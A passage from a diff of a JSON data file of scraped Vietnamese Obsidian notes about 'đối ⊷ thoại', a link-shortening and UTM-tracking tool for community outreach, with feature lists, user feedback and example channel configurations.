thì bền hơn\n## Thấy nó có giúp được gì cho em không?\nchưa. \n\nchỉ tin bạn bè, chứ kol cung cạo, như\nbạn bè đọc tiếng nh nhiều hơn, còn tiếng việt thì theo dõi expert \n[Facebook](https://www.facebook.com/Identifight.crysis/photos)\n\n[Facebook](https://www.facebook.com/photo/?fbid=3455005944810139&set=pb.100009023038037.-2207520000)\n\nQuan tâm đến các vấn đề xã hội\n\n# Sau khi đọc xong phần giới thiệu đối ⊷ thoại\nhiểu được mục đích, chưa có hướng dẫn sử dụng\n\nchưa có phần tại sao lại xài cái này mà ko phải là những cái khác\n\nko biết là có dấu hay không dấu\n\nnhập sai ị lỗi ko báo gì cả\n\nTìm bài đăng đã có hoặc dán URL để tạo mới vào hệ thống\n\nbớt chx nhiều hình hơn\n\nthaasyy trong lúc tranh luận dạo. Lúc viết bài thì phải đảm bảo là viết đúng, cần một nơi để tra xem là có thật hay ko/ Ko phải AI thì ko có lỗi AI\n\nlội Facebook thì lâu, kém. google thì bị seo phá tùm lum\n\ntưởng tạo mới là mới hẳn, chưa có ở đâu, ko hiểu là trong hệ thống\n\n\nnhưng người phải đọc nhiều, ko đọc ko chịu được thì sẽ lưu trữ rất nhiều\n\nđọc sách rồi highlight rồi đăng Facebook, Obsidian, quăn tùm lum, phân loại ùm em lioon\nké được của người khác\n\n\n## trấn kỳ\nxoá ví dụ đi, muốn tự dùng ví dụ\n\ngặp xong thấy ko khó hiểu lắm\n\nsản phẩm này khác với các sản phẩm khác như thế nào?\n\ntò mò điểm yếu của yaml\n\n5W1H\n\nko theo kiểu từ A tới b, mà là tổng quát trước. MUoons biết là cái gì trước rồi mới tới cái tại sao\n\nmuốn đặt cái ước gì lên đầu còn những cái còn lại là ồ thú vị muốn xem thêm`\n\ncalendar có cảm xúc hơn", + "Toàn bộ nội dung": "Người đang dùng Google Drive\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-19T08:04:00.000Z", - "id": "PI" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-28T11:00:00.000Z", + "id": "PW" }, { - "Tiêu đề": "Chia sẻ kho kiến thức, tài nguyên đến với mọi người", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Chia sẻ kho kiến thức, tài nguyên đến với mọi người", + "Tiêu đề": "Người tham gia kênh Obsidian tiếng Việt", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/Người tham gia kênh Obsidian tiếng Việt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# **đối ⊷ thoại**: Chương trình tìm và chia sẻ kho kiến thức, tài nguyên đến với mọi người\nNếu bạn cần chia sẻ kho thông tin (vault) của mình tới người khác, đặc biệt là khi bạn đang dùng điện thoại còn người nhận thì không quen dùng Obsidian, thì giải pháp thường là sao chép nội dung ghi chú rồi gửi qua tin nhắn. Nhưng việc đó làm mất liên kết tới các ghi chú khác. Nếu bạn muốn họ có trải nghiệm tương tự như khi dùng Obsidian thì bạn cần tạo website từ kho của mình. Bạn có thể mua gói Publish của Obsidian, hoặc sử dụng các plugin tạo website khác. Nếu nhu cầu bạn dừng ở đó và bạn không thấy có vấn đề gì cả thì bạn cũng không cần đọc tiếp bài này.\n\nRiêng với mình, thì mình gặp những vấn đề sau:\n- **Đường dẫn khi chia sẻ quá dài.** Nếu ghi chú của bạn có tiêu đề là một câu dài và ở sâu trong nhiều cấp thư mục, thì khi chia sẻ trên điện thoại liên kết của nó có khi dài cả một màn hình\n- **Các ký tự tiếng Việt sẽ bị mã hoá trong đường dẫn.** Ví dụ như `tiếng Việt` (10 ký tự) sẽ bị mã hoá thành `ti%E1%BA%BFng%20Vi%E1%BB%87t` (28 ký tự). Điều này không chỉ làm liên kết dài thêm gấp 3 lần, mà còn khiến cho người nhận không biết nội dung nói về cái gì (mà cái gì ta không hiểu thì có thể thấy sợ) \n- **Việc tìm liên kết cũng bất tiện.** Chẳng hiểu sao plugin mình dùng lại làm web tải khá chậm và thanh tìm kiếm không hoạt động được, nên mỗi lần chia sẻ liên kết là lại phải lục theo từng cấp thư mục. Mình có nhiều kho thông tin khác nhau, và mỗi lần tìm thì đều muốn được gợi ý ghi chú ở cả những kho khác (nếu có liên quan với từ khoá) \n- **Không có dữ liệu về người truy cập.** Điều này có thể khắc phục nếu website có cài một dịch vụ phân tích web (VD: Google Analytics, Plausible), nhưng dữ liệu nhận về vẫn còn chung chung chứ không phân biệt được các nguồn khách khác nhau. Như vậy thì chưa đủ để kiểm định một giả thiết cụ thể. Có thể giải quyết được việc này bằng việc thêm các tham số UTM, nhưng đến lượt nó cũng tạo ra những vấn đề mới:\n - Sự tập trung của bạn bị phân tán hơn nữa\n - Liên kết bị dài hơn nữa\n - Không có biểu mẫu để việc điền được thống nhất, không bị lộn xộn\n- Sử dụng một dịch vụ rút gọn liên kết (VD: Bitly, Rebrandly) sẽ giải quyết được vấn đề liên kết quá dài và ký tự tiếng Việt bị mã hoá, nhưng nó cũng không giải quyết được những vấn đề sau:\n - Sự tập trung của bạn bị phân tán hơn nữa, đặc biệt trong lúc chờ web tải xong\n - Không có biểu mẫu để việc điền được thống nhất\n - Không được dùng tên miền của mình, hoặc bị giới hạn số lượng liên kết nếu không trả tiền\n\nQuá mệt mỏi với những vấn đề này, mình đã viết ra **đối ⊷ thoại**.\n\n## Tính năng\n- Là phần mềm tự do và mã nguồn mở\n- Không cần đăng nhập\n- Tìm nhanh những ghi chú được chia sẻ công khai trong kho dữ liệu của bạn, hoặc các bài đăng trên các website, diễn đàn\n- Quản lý và tìm nhanh những cộng đồng bạn muốn mở cuộc đối thoại\n- Tự động tạo liên kết UTM để có thể sử dụng với các chương trình phân tích web khác\n- Tự động rút gọn liên kết với đuôi có ý nghĩa chứ không phải là những ký tự ngẫu nhiên \n- Tự động tạo nội dung sẽ được dùng để đối thoại dựa trên ghi chú của bạn\n- Thống kê số lượng truy cập tới liên kết được chia sẻ\n- Mọi khai báo cấu hình đều trên tệp văn bản thuần\n\n## Triết lý phát triển\n- **Lấy nhu cầu của các tổ chức phi lợi nhuận làm trung tâm:** thúc đẩy các cuộc đối thoại trong cộng đồng theo các mục tiêu phát triển bền vững, thúc đẩy sự hợp tác đa bên, liên ngành\n- **Dành cho người Việt:** không gặp vấn đề với các ký tự tiếng Việt và kết quả được viết theo cách người Việt dùng ngôn ngữ\n- **Đảm bảo sự tự do và tự trị dữ liệu của người dùng:** dễ dàng tích hợp với các hệ thống bạn đang dùng (VD: Obsidian)\n- **Hướng đến việc nâng đỡ người còn cảm thấy lập trình là một thứ đáng sợ**\n\n## Cách dùng\nBạn có thể ghé thăm trang web của chương trình và dùng nó ngay lập tức như các dịch vụ như Bitly. Nếu bạn muốn nhập dữ liệu với số lượng lớn thì có thể gửi mình danh sách bài đăng và nơi đăng của bạn. Hoặc nếu muốn sử dụng bằng tên miền và hệ thống riêng của bạn thì làm theo hướng dẫn ở readme trong GitHub. Nếu bạn có thắc mắc gì thì cứ hỏi mình.\n\nẢnh: cách mình đã tạo ra liên kết ở dưới này 👇 \n\n👉 Liên kết:", + "Toàn bộ nội dung": "Người tham gia kênh Obsidian tiếng Việt\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-18T06:17:00.000Z", - "id": "PJ" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PX" }, { - "Tiêu đề": "Giới thiệu đối ⊷ thoại", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Giới thiệu đối ⊷ thoại", + "Tiêu đề": "Người theo dõi QC", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/Người theo dõi QC", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "## *đối ⊷ thoại* dành cho ai?\n- [[Mở các cuộc đối thoại với cộng đồng|Người muốn mở các cuộc đối thoại với cộng đồng]]\n- [[Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng|Các dự án, tổ chức hiện diện trên nhiều nền tảng]]\n- [[Liên kết tiếng Việt|Người Việt]]\n- [[Chia sẻ kho kiến thức, tài nguyên đến với mọi người|Người dùng Obsidian hoặc các chương trình lưu dữ liệu tại máy người dùng]]\n- [[Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng|Các mạng lưới, hệ sinh thái]]\n\n## *đối ⊷ thoại* giúp được gì?\n- [[Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn]]\n- [[Chia sẻ kho kiến thức, tài nguyên đến với mọi người]]\n- [[Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng]]\n- Nâng cao ý thức về quyền tự trị dữ liệu và các chương trình lưu dữ liệu tại máy người dùng\n- Nâng đỡ người còn cảm thấy lập trình là một thứ đáng sợ\n\n## Các kho thông tin có trên *đối ⊷ thoại*\n- [Obsidian, quản lý dự án và công cụ nghĩ](https://obsidian.quảcầu.cc/?utm_source=W+Giới+thiệu+đối+⊷+thoại&utm_medium=Website&utm_campaign=&utm_content=&utm_term=)\n- [Lập trình và các công cụ số](https://lậptrình.quảcầu.cc/?utm_source=W+Giới+thiệu+đối+⊷+thoại&utm_medium=Website&utm_campaign=&utm_content=&utm_term=)\n- [Tồn tại trong thế giới tư bản](https://kiếmtiền.quảcầu.cc/?utm_source=W+Giới+thiệu+đối+⊷+thoại&utm_medium=Website&utm_campaign=&utm_content=&utm_term=)\n\nSẽ ra mắt:\n- Vùng đất Quả Cầu\n- Mạng kết nối nhu cầu\n- Học kỹ năng, phát triển bản thân\n- Mạng lưới người thân, bạn bè của người có niềm tin tiêu cực\n- Niềm tin và đối thoại\n- Nghiên cứu liên ngành\n\nBạn có thể vào thư mục [Cấu hình và dữ liệu](https://doi-thoai.deno.dev/Cấu%20%hình%20%và%20%dữ%20%liệu.1n.1) để xem toàn bộ danh sách bài đăng và nơi đăng đã được nạp sẵn.\n\n[[Hướng dẫn sử dụng]]", + "Toàn bộ nội dung": "Người đang dùng Google Drive\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-02T06:04:00.000Z", - "id": "PK" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "PY" }, { - "Tiêu đề": "Hướng dẫn sử dụng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Hướng dẫn sử dụng", + "Tiêu đề": "Người đóng góp nội dung", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/Người đóng góp nội dung", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Bối cảnh\nVD: lý do khiến bài đăng trở nên hữu ích tại nơi đăng, sự khác biệt so với những lần đăng trước, v.v.\n\n# Cách slug nơi đăng được tạo\nSlug nơi đăng: tên nơi đăng hoặc URL\n\n# Cách đuôi rút gọn được tạo\nid theo cơ số 64", + "Toàn bộ nội dung": "Người đang dùng Google Drive\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-18T06:17:00.000Z", - "id": "PL" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-28T11:00:00.000Z", + "id": "PZ" }, { - "Tiêu đề": "Liên kết tiếng Việt", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Liên kết tiếng Việt", + "Tiêu đề": "TNV QC", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/TNV QC", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Không gặp vấn đề với các ký tự tiếng Việt \n\n**Các ký tự tiếng Việt sẽ bị mã hoá trong đường dẫn.** Ví dụ như `tiếng Việt` (10 ký tự) sẽ bị mã hoá thành `ti%E1%BA%BFng%20Vi%E1%BB%87t` (28 ký tự). Điều này không chỉ làm liên kết dài thêm gấp 3 lần, mà còn khiến cho người nhận không biết nội dung nói về cái gì (mà cái gì ta không hiểu thì có thể thấy sợ) \n\nXử lý các vấn đề về Unicode\n# Kết quả được viết theo cách người Việt dùng ngôn ngữ\n\nTheo trật tự cú pháp của người Việt", + "Toàn bộ nội dung": "Người đang dùng Google Drive\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-18T06:17:00.000Z", - "id": "PM" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pa" }, { - "Tiêu đề": "Mở các cuộc đối thoại với cộng đồng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Mở các cuộc đối thoại với cộng đồng", + "Tiêu đề": "Người muốn quản lý cuộc sống cá nhân", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo nhu cầu/Người muốn quản lý cuộc sống cá nhân", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```yaml\nDiễn đàn:\n Facebook:\n Nhóm:\n - Obsidian - Não hai\n Reddit:\n Subreddit:\n - r/ObsidianMD\n - r/googlekeep\nChat:\n Messenger:\n Cộng đồng:\n - Obsidian - Second Brain:\n - Não hai 🧠\n Discord:\n Máy chủ:\n - Obsidian:\n - \"#tiếng-việt\"\n\nSlug:\n obs:\n - r/ObsidianMD\n - \"#tiếng-việt\"\n obsvn:\n - Obsidian - Não hai\n - Não hai 🧠\n\n```", + "Toàn bộ nội dung": "Niềm tin về họ:: Họ không có một cách để thấy được nhu cầu đối tác thuận lợi\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-18T06:17:00.000Z", - "id": "PN" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pb" }, { - "Tiêu đề": "Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng", + "Tiêu đề": "Người muốn quản lý dự án, tổ chức", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo nhu cầu/Người muốn quản lý dự án, tổ chức", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# **đối ⊷ thoại**: Rút gọn liên kết và thống kê lưu lượng truy cập cho các dự án, tổ chức hiện diện trên nhiều nền tảng\nMột tổ chức, mạng lưới có nhiều dự án, sản phẩm khác nhau giống như một vùng đất có nhiều lối vào và lối ra. Những người đến vùng đất đó có những lộ trình khác nhau. Việc cải thiện trải nghiệm của họ đòi hỏi những người đang xây dựng vùng đất đó biết được họ đã đến nơi này như thế nào.\n\nLấy ví dụ, đây là những cộng đồng do anh Bùi Quang Tinh Tú sáng lập ra và các hiện diện của chúng trên các nền tảng khác nhau:\n```yaml\nDiễn đàn:\n Facebook:\n Tài khoản:\n - Bui Quang Tinh Tu https://fb.com/buiquangtinhtu\n Nhóm:\n - UAN Marketing https://www.facebook.com/groups/uanvn/\n - DigiFin - Cộng Đồng Tài Chính Doanh Nghiệp https://www.facebook.com/groups/digifin\n - EDU★INFLUENCE - Cộng Đồng Cải Tiến Giáo Dục https://www.facebook.com/groups/eduinfluence\n - Người Hướng Nội Hiện Đại https://www.facebook.com/groups/huongnoihiendai\n - Mẹ Đơn Thân Vui Vẻ https://www.facebook.com/groups/medonthantainhat\n Trang:\n - Edu Influence https://www.facebook.com/eduinfluence.official\n - UAN Marketing https://www.facebook.com/uanvietnam\n - DigiFin https://www.facebook.com/digifin.official\n - The Modern Introvert - Người Hướng Nội Hiện Đại https://www.facebook.com/huongnoihiendai\n LinkedIn:\n Trang:\n - UAN Marketing https://www.linkedin.com/company/uan-vn/\n YouTube:\n Kênh:\n - UAN Marketing https://www.youtube.com/@UANMarketing\n Spotify:\n Kênh:\n - UAN Marketing https://open.spotify.com/show/5HcCuRlemSUQBSpE01jyLb?si=3b7c240a728743c4\nChat:\n Telegram:\n Nhóm:\n - UAN Marketing:\n - Tự giới thiệu dịch vụ https://t.me/uan_mkt/864\n - General https://t.me/uan_mkt/1\n Zalo:\n Nhóm:\n - Common Good Alliance https://zalo.me/g/rfthsv401\n Messenger:\n Nhóm:\n - Social Impact Member Group\nWebsite:\n - Common Good Alliance https://good.uan.vn/\n - Conversion https://conversion.vn/\nSaaS:\n Google:\n Form:\n - Community Registration Form https://docs.google.com/forms/d/e/1FAIpQLSeT6QlGtAtTknBInCT6nmxRJLEm1S_jU6Fb30ub9JsYAQZknw/viewform\n```\n\nCó rất nhiều điểm để chạm vào mạng lưới các cộng đồng này, tuỳ vào nhu cầu của mỗi người. (Hai triết gia Deleuze và Guattari hẳn sẽ gọi đây là *một vùng đất có nhiều lối vào*.) Nếu bạn cũng đang muốn phát triển một vùng đất như vậy, có thể bạn sẽ cần **phân loại được các nguồn truy cập** đến vùng đất của bạn. Nếu điểm đến của người dùng là một website do bạn quản lý, thì bạn có thể sử dụng một dịch vụ phân tích web (VD: Google Analytics, Plausible) và gắn các tham số UTM vào liên kết của bạn. Tuy nhiên nó có những nhược điểm sau:\n- **Liên kết bị dài và xấu hơn.** Ví dụ, các ký tự tiếng Việt như `tiếng Việt` (10 ký tự) sẽ bị mã hoá thành `ti%E1%BA%BFng%20Vi%E1%BB%87t` (28 ký tự). Điều này không chỉ làm liên kết dài thêm gấp 3 lần, mà còn khiến cho người dùng không biết nội dung nói về cái gì (mà cái gì ta không hiểu thì có thể thấy sợ) \n- **Chỉ áp dụng được đối với những website do bạn quản lý.** Trong khi đó sự hiện diện của bạn trên các nền tảng khác cũng quan trọng. Như bạn thấy trong danh sách trên thì các hiện diện đó mới là chính, chứ phần website quá nhỏ, và thường cũng không quan trọng (trừ khi nguồn truy cập chính của bạn là từ Google) \n- **Không có gợi ý để việc điền thông tin được thống nhất.** Mỗi nền tảng có một hệ thống thuật ngữ cho việc phân cấp khác nhau, và mỗi vị trí đăng thì lại có những vị trí đăng nhỏ hơn. Ví dụ như phần giới thiệu ở các nền tảng khác nhau có thể được gọi là description, about, bio. Hoặc việc đăng liên kết ở một bài đăng có thể là ở trong nội dung chính, dưới bình luận, trong ảnh dưới dạng QR, hoặc trong ảnh dưới dạng chữ. Nếu có nhiều người cùng làm công việc tạo liên kết UTM thì bạn phải viết hướng dẫn và họ phải chịu khó đọc hướng dẫn đó. Và kể cả khi đã làm vậy rồi thì sự lộn xộn vẫn luôn có cách để ám bạn\n- **Phải điền thông tin thủ công.** Điều này làm phân tán sự tập trung của bạn cho công việc quan trọng hơn \n\nVới hai vấn đề đầu tiên, các dịch vụ như Bitly, Rebrandly sẽ giúp rút gọn liên kết của bạn. Tuy nhiên đến lượt nó cũng có những vấn đề khác:\n- **Bị giới hạn chức năng.** Bạn không được dùng tên miền của riêng bạn, hoặc bị giới hạn số lượng liên kết nếu không trả tiền\n- **Slug được tạo tự động chỉ là những ký tự ngẫu nhiên**. Nếu muốn dùng slug riêng thì cũng lại không có gợi ý để việc tạo slug được thống nhất\n- **Phải tạo liên kết thủ công.** Điều này làm phân tán sự tập trung của bạn cho công việc quan trọng hơn \n\nQuá mệt mỏi với những vấn đề này, mình đã viết ra **đối ⊷ thoại**.\n\n# Tính năng\n- Là phần mềm tự do và mã nguồn mở\n- Không cần đăng nhập\n- Tìm nhanh những ghi chú được chia sẻ công khai trong kho dữ liệu của bạn, hoặc các bài đăng trên các website, diễn đàn\n- Quản lý và tìm nhanh những cộng đồng bạn muốn mở cuộc đối thoại \n- Tự động tạo liên kết UTM\n- Tự động rút gọn liên kết với đuôi có ý nghĩa chứ không phải là những ký tự ngẫu nhiên \n- Tự động tạo nội dung sẽ được dùng để đối thoại dựa trên ghi chú của bạn\n- Thống kê số lượng truy cập tới liên kết được chia sẻ\n- Mọi khai báo cấu hình đều trên tệp văn bản thuần\n\n# Triết lý phát triển\n- **Lấy nhu cầu của các tổ chức phi lợi nhuận làm trung tâm:** thúc đẩy các cuộc đối thoại trong cộng đồng theo các mục tiêu phát triển bền vững, thúc đẩy sự hợp tác đa bên, liên ngành\n- **Dành cho người Việt:** không gặp vấn đề với các ký tự tiếng Việt và kết quả được viết theo cách người Việt dùng ngôn ngữ\n- **Đảm bảo sự tự do và tự trị dữ liệu của người dùng:** dễ dàng tích hợp với các hệ thống bạn đang dùng (VD: Obsidian)\n- **Hướng đến việc nâng đỡ người còn cảm thấy lập trình là một thứ đáng sợ**\n\n# Cách dùng\nBạn có thể ghé thăm trang web của chương trình và dùng nó ngay lập tức như các dịch vụ như Bitly. Nếu bạn muốn nhập dữ liệu với số lượng lớn thì có thể gửi mình danh sách bài đăng và nơi đăng của bạn. Hoặc nếu muốn sử dụng bằng tên miền và hệ thống riêng của bạn thì làm theo hướng dẫn ở readme trong GitHub. Nếu bạn có thắc mắc gì thì cứ hỏi mình.\n\nẢnh: cách mình đã tạo ra liên kết ở dưới này 👇 \n\n# 👉 Liên kết: https://doi-thoai.deno.dev/webđốithoại.1u.1\n", + "Toàn bộ nội dung": "Niềm tin về họ:: Họ không có một cách để thấy được nhu cầu đối tác thuận lợi\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-18T06:17:00.000Z", - "id": "PO" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pc" }, { - "Tiêu đề": "Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Thử nghiệm các ý tưởng đối thoại với cộng đồng hiệu quả hơn", + "Tiêu đề": "Người muốn xây dựng cộng đồng hoặc mạng lưới", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo nhu cầu/Người muốn xây dựng cộng đồng hoặc mạng lưới", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Biết được phiếu khảo sát hoặc phiếu đăng ký được nhóm đối tượng nào quan tâm nhiều hơn\nGiả sử bạn chuẩn bị tổ chức một sự kiện cho 30 người tham gia, và bạn đã tạo một phiếu đăng ký trên Google Form. Công việc của bạn bây giờ là đăng bài giới thiệu đính kèm liên kết đến phiếu đăng ký lên các nhóm cho tới khi đủ số lượng. \n\nVới các công cụ hiện tại, bạn có 2 chỉ số thể hiện được mức độ quan tâm của người đọc:\n- Số người đã hoàn thành đăng ký,\n- Số lượng tương tác trên bài đăng\n \nSo sánh số lượng tương tác trên bài đăng của bạn và của những bài đăng khác, bạn có thể phỏng đoán **mức độ hấp dẫn của bài của bạn với các thành viên của nhóm**. Nhưng sự phỏng đoán đó chỉ dùng được với nhóm đó thôi. Với nhóm khác thì không so sánh được, trừ phi các nhóm này cùng trên một nền tảng và có số lượng thành viên tương đương nhau. Bạn không thể so sánh lượng tương tác về bài của bạn khi được đăng trên một nhóm Facebook và một nhóm Zalo, hay một nhóm 100 thành viên và một nhóm 1.000.000 thành viên được.\n\nXét sâu hơn chút, bạn sẽ thấy việc dựa vào số lượng tương tác không phải lúc nào cũng phản ánh tốt mức độ quan tâm đến sự kiện của bạn. Có những người like hoặc share mà còn không đọc kỹ bài viết. Có những người bấm vào liên kết mà chẳng like. \n\nNếu như không biết được đã có bao nhiêu người vào liên kết, bạn sẽ phải đăng khắp nơi cho tới khi nào đủ số lượng. Giả sử như bạn đã đăng lên 2 nhóm Facebook và một nhóm Zalo, và hiện tại đã có 20 người đã đăng ký sự kiện của bạn. Bạn còn cần thêm 10 người nữa. Nếu không biết được mỗi nhóm có bao nhiêu người đăng ký, bạn sẽ phải nhắc lại khắp nơi. \n\nNhưng nếu bạn biết được\n\n30 người tham gia \n→ 50 lượt hoàn thành đăng ký\n→ 100 lượt bấm vào liên kết. Trong đó bao gồm:\n- 30 lượt trên trang Facebook của dự án,\n- 30 lượt trên nhóm Facebook 1,\n- 30 lượt trên nhóm Facebook 2, \n- 10 lượt trên nhóm Zalo\n\nTừ đó, bạn có thể có bảng sau:\n\n| Nơi đăng | Giả định/mong đợi | Thực tế | Tỉ lệ |\n| -------------------- | ----------------- | ------- | ------- |\n| Trang Facebook dự án | 30 | 18 | 60% |\n| Nhóm Facebook 1 | 30 | 23 | 76% |\n| Nhóm Facebook 2 | 30 | 3 | 10% |\n| Nhóm Zalo | 10 | 5 | 50% |\n| **Tổng** | **100** | **49** | **49%** |\n\nBiết được nhóm nào chưa đạt mong muốn, hoặc bạn đã có mong đợi nhiều hơn khả năng của đáp ứng của nó. Từ đó bạn có thể \n[[Có nhiều người đăng ký tham gia nhưng chỉ để thoả mãn sự tò mò]]\n\n\n\ncho của bạn lên Facebook và Zalo. Trước giờ, bạn chỉ có thể biết là có bao nhiêu người đã trả lời. Nay, bạn có thể biết đã có bao nhiêu người trên Facebook đã bấm vào, bao nhiêu người trên Zalo bấm vào. Điều này sẽ giúp bạn có những dự đoán tin cậy hơn về đối tượng thụ hưởng của bạn.\n\n\n[[Để có thể thiết kế một giải pháp một cách nhanh chóng và tự tin, ta cần được thử nghiệm ý tưởng mới và kiểm tra giả thiết ngay khi chúng vừa được nghĩ ra]]\n\n# Học tập được các cuộc đối thoại cũ\nKho lưu trữ các cuộc đối thoại\ntiếp nối được các cuộc đối thoại đang dở dang\nKhông bị rời rạc, thiếu tập trung\n# Biết được tài liệu nào được độc giả quan tâm nhiều hơn\nBiết được ý tưởng nào chấn động với họ nhất\n[[Giả định có mặt ở khắp nơi]]\n\n(Lưu ý rằng, [[Dữ liệu cho ta biết hành vi của một người, nhưng không nói lý do họ làm điều đó]]. Cho nên ta cần phải [[Phỏng vấn phù hợp để hiểu lý do cho một hành vi của một người|kết hợp với phỏng vấn để hiểu lý do của họ hơn]]) ", + "Toàn bộ nội dung": "Niềm tin về họ:: Họ không có một cách để thấy được nhu cầu đối tác thuận lợi\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-06-21T13:24:00.000Z", - "Ngày cập nhật": "2024-07-21T14:43:00.000Z", - "id": "PP" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "Pd" }, { - "Tiêu đề": "Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/đối ⊷ thoại/9 Blog/Tăng độ nhận biết và huy động sự quan tâm tới những nguồn tài nguyên quan trọng", + "Tiêu đề": "Người tò mò về Obsidian", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo nhu cầu/Người tò mò về Obsidian", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "đối ⊷ thoại", + "Tên dự án": "Công cụ cho hệ sinh thái", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Bài này chưa viết xong. Nhưng bạn có thể đọc một bài có nhiều liên quan tới 